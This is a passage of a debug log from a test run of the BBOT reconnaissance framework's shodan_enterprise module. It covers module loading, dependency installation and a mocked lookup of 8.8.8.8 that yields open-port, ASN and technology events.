Preloading portfilter from cache +2026-02-27 22:19:49,286 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:19:49,287 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:19:49,288 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:19:49,289 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:19:49,291 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:19:49,292 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:19:49,294 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:19:49,296 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:19:49,298 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:19:49,300 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:19:49,301 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:19:49,303 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:19:49,305 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:19:49,306 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:19:49,307 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:19:49,311 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:19:49,314 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:19:49,317 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:19:49,318 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:19:49,319 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:19:49,321 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:19:49,322 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:19:49,324 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:19:49,327 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:19:49,329 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:19:49,332 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:19:49,333 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:19:49,335 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:19:49,337 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:19:49,339 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:19:49,340 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:19:49,341 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:19:49,342 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:19:49,344 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:19:49,345 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:19:49,345 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:19:49,347 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:19:49,349 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:19:49,562 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4556240736 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:19:49,563 [DEBUG] filelock _api.py:334 Lock 4556240736 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:19:49,564 [DEBUG] filelock _api.py:364 Attempting to release lock 4556240736 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:19:49,565 [DEBUG] filelock _api.py:367 Lock 4556240736 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:19:50,872 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:19:50,873 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:19:50,873 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:19:51,053 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:19:51,722 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:19:51,722 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:19:51,722 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:19:51,723 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:19:51,966 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:19:51,967 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:19:52,078 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:19:52,079 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:19:52,137 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:19:52,141 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:19:52,142 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:19:52,696 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:19:52,697 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:19:55,137 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:19:55,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:19:55,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:19:57,361 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:19:57,361 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:19:57,366 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:19:57,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:19:57,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:19:57,367 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:19:57,368 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:19:57,368 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:19:57,373 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/0ts1ma2rtnwr8meh8r6i +2026-02-27 22:19:58,278 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:19:58,279 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:19:58,279 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:19:58,280 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:19:58,281 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:19:58,281 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:19:58,283 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:19:58,415 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:19:58,415 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:19:58,415 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:19:58,417 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:19:58,417 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:19:58,418 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:19:58,418 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:19:58,419 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:19:58,419 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:19:58,419 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:19:58,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:19:58,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:19:58,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:19:58,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:19:58,422 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:19:58,422 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:19:58,423 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:19:58,423 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:19:58,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:19:58,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:19:58,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:19:58,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:19:58,425 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:19:58,425 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:19:58,427 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:19:58,427 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:19:58,427 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:19:58,572 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_9azyj11vty +2026-02-27 22:19:58,572 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:19:58,684 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:19:58,685 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:19:58,685 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:19:58,687 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-02-27 22:19:58,787 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check +2026-02-27 22:19:58,787 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-02-27 22:19:58,788 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 22:19:58,789 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:19:58,791 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:19:58,791 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:19:58,792 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:19:58,792 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:19:58,795 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:19:58,796 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:19:58,797 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:19:58,799 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:19:58,800 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:19:58,802 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:19:58,803 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:19:58,806 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:19:58,807 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:19:58,807 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:19:58,808 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:19:58,808 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-02-27 22:19:58,809 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-02-27 22:19:58,809 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-02-27 22:19:58,810 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:19:58,810 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:19:58,814 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:19:58,899 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:19:58,903 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:19:58,904 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:19:58,905 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:19:58,905 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-02-27 22:19:58,906 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:19:58,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,907 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,908 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:19:58,908 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:19:58,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:19:58,910 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,910 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,911 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:19:58,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,913 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,913 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:19:58,913 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:19:58,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:19:58,915 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,915 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:19:58,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:19:58,917 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,918 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target +2026-02-27 22:19:58,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,919 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:19:58,920 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:19:58,920 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:19:58,921 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:19:58,922 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:19:58,922 [DEBUG] bbot.modules._scan_ingress 